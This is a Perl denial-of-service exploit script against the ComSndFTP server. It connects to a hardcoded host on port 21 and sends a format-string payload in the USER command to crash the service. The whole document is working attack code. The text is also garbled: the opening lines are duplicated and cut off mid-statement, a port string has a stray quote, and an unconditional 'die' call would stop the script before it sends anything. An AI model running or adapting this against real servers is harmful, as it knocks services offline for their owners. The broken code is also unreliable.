# ComSndFTP Server Remote Format String Denial of Service (DoS)
use strict;
use warnings;
use IO::Socket;
$| = 1;
my $h #!/usr/bin/perl
# ComSndFTP Server Remote Format String Denial of Service (DoS)
use strict;
use warnings;
use IO::Socket;
$| = 1;
my $host = "192.168.172.136";
my $port = "21"";
my $payload = '%s%p%x%d';
print "Connecting... ";
my $sock = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Timeout => 30
);
die "Unable to connect ";
$sock->recv(my $content, 100, 0);
sleep(2);
$sock->send("USER $payload ", 0);
sleep(2);
$sock->recv($content, 100, 0);
sleep(5);
$sock->close;
print "Denial Of Service completed! ";
exit(0);